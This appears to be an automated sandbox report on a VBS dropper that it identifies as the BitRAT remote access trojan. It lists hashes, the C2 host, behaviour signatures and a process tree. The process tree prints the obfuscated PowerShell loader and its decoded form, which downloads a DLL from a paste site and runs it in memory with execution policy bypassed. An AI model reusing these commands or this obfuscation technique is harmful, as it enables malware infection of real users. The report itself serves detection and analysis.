Analysis

  • max time kernel
    85s
  • max time network
    105s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05-09-2022 15:00

General

  • Target

    e2a66d3573ce5e66dacf16840feab675adb111081834fc198d42fc6601acd931.vbs

  • Size

    160KB

  • MD5

    e7eb16683c5e373b8466a0ac1d2a5bd4

  • SHA1

    a286dd06a1cfc628c2be2fa1fd8c8992bc455415

  • SHA256

    e2a66d3573ce5e66dacf16840feab675adb111081834fc198d42fc6601acd931

  • SHA512

    07ae198a45f0db3d087d6d9cc191536078f16aced919418651fd00f41c38bdf0ac456f4624ace849fc6c01660b7e907a2ab5cac1bca8141cfc28da6b6e316ffd

  • SSDEEP

    192:n444v444QT44v444444cOggjz44v4144v4K444b44KHVJ4hXFBl/U0zsBy0hfLb3:IoOggj4+gBGU1jt

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://wtools.io/code/dl/bE0V

Extracted

Family

bitrat

Version

1.38

C2

dfeefrtythg.duckdns.org:1207

Attributes
  • communication_password

    81dc9bdb52d04dc20036dbd8313ed055

  • tor_process

    tor

Signatures

  • BitRAT

    BitRAT is a remote access tool written in C++ and uses leaked source code from other families.

  • Blocklisted process makes network request 3 IoCs
  • UPX packed file 6 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\e2a66d3573ce5e66dacf16840feab675adb111081834fc198d42fc6601acd931.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4492
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwAlAC✌✌✌AJwA7AFsAQgB5AHQAZQBbAF0AXQAgACQARABMAEwAIAA9ACAAWwBzAHkAcwB0AG✌✌✌AbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAHcAdABvAG8AbABzAC4AaQBvAC8AYwBvAGQAZQAvAGQAbAAvAGIARQAwAFYAJwApACkAOwBbAHMAeQBzAHQAZQBtAC4AQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKAAkAEQATABMACkALgBHAG✌✌✌AdAB✌✌✌AHkAcABlACgAJwB4AEsAdgBLAGsAdQBOAFoALgBVAEcAbAB5AG0AegBVAGcAJwApAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAF✌✌✌ARABzAFMAaQBEAGIAYgAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwBiADMAMAA0AD✌✌✌AYQA1AGIANAA2ADgAMAAtADIAMQA1ADkALQA0ADYAYwA0AC0AOAA2ADMAZgAtADYAOQAyADMAMQA4AGYAZQA9AG4AZQBrAG8AdAAmAGEAaQBkAG✌✌✌AbQA9AHQAbABhAD8AdAB4AHQALgBvAGQAbABhAHAAcwBlAHIALQB0AGkAYgBGADIAJQBuAG8AaQBjAGEAegBpAGwAYQB1AHQAYwBBAC8AbwAvAG0AbwBjAC4AdABvAHAAcwBwAHAAYQAuAG✌✌✌AOABiAGIAZgAtADIAMgAwADIALQBuAG8AaQBjAGEAbQBhAHIAZwBvAHIAcAAvAGIALwAwAHYALwBtAG8AYwAuAHMAaQBwAGEAZQBsAGcAbwBvAGcALgBlAGcAYQByAG8AdABzAG✌✌✌AcwBhAGIAZQByAGkAZgAvAC8AOgBzAHAAdAB0AGgAJwAgACwAIAAkAFIAbwBkAGEAQwBvAHAAeQAgACwAIAAnAFIAbwBkAGEAJwAgACkAKQA=';$OWjuxDt = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('✌✌✌','U') ) );$OWjuxDt = $OWjuxDt.replace('%جزدییامတجزدییامတ%', 'C:\Users\Admin\AppData\Local\Temp\e2a66d3573ce5e66dacf16840feab675adb111081834fc198d42fc6601acd931.vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxDt
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4836
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "$RodaCopy = '%%';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://wtools.io/code/dl/bE0V'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('xKvKkuNZ.UGlymzUg').GetMethod('UDsSiDbb').Invoke($null, [object[]] ('b3045a5b4680-2159-46c4-863f-692318fe=nekot&aidem=tla?txt.odlapser-tibF2%noicazilautcA/o/moc.topsppa.e8bbf-2202-noicamargorp/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth' , $RodaCopy , 'Roda' ))"
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2040
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
          4⤵
            PID:2208
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
            4⤵
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:2936

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      3KB

      MD5

      f41839a3fe2888c8b3050197bc9a0a05

      SHA1

      0798941aaf7a53a11ea9ed589752890aee069729

      SHA256

      224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

      SHA512

      2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      64B

      MD5

      5caad758326454b5788ec35315c4c304

      SHA1

      3aef8dba8042662a7fcf97e51047dc636b4d4724

      SHA256

      83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

      SHA512

      4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

    • memory/2040-136-0x00007FF8F32C0000-0x00007FF8F3D81000-memory.dmp

      Filesize

      10.8MB

    • memory/2040-141-0x00007FF8F32C0000-0x00007FF8F3D81000-memory.dmp

      Filesize

      10.8MB

    • memory/2040-134-0x0000000000000000-mapping.dmp

    • memory/2936-144-0x0000000000400000-0x00000000007E4000-memory.dmp

      Filesize

      3.9MB

    • memory/2936-147-0x0000000074B30000-0x0000000074B69000-memory.dmp

      Filesize

      228KB

    • memory/2936-139-0x0000000000400000-0x00000000007E4000-memory.dmp

      Filesize

      3.9MB

    • memory/2936-140-0x0000000000400000-0x00000000007E4000-memory.dmp

      Filesize

      3.9MB

    • memory/2936-137-0x0000000000400000-0x00000000007E4000-memory.dmp

      Filesize

      3.9MB

    • memory/2936-150-0x0000000074EB0000-0x0000000074EE9000-memory.dmp

      Filesize

      228KB

    • memory/2936-149-0x0000000000400000-0x00000000007E4000-memory.dmp

      Filesize

      3.9MB

    • memory/2936-148-0x0000000074EB0000-0x0000000074EE9000-memory.dmp

      Filesize

      228KB

    • memory/2936-138-0x00000000007E2740-mapping.dmp

    • memory/2936-146-0x0000000000400000-0x00000000007E4000-memory.dmp

      Filesize

      3.9MB

    • memory/4836-145-0x00007FF8F32C0000-0x00007FF8F3D81000-memory.dmp

      Filesize

      10.8MB

    • memory/4836-133-0x000001C80FF80000-0x000001C80FFA2000-memory.dmp

      Filesize

      136KB

    • memory/4836-135-0x00007FF8F32C0000-0x00007FF8F3D81000-memory.dmp

      Filesize

      10.8MB

    • memory/4836-132-0x0000000000000000-mapping.dmp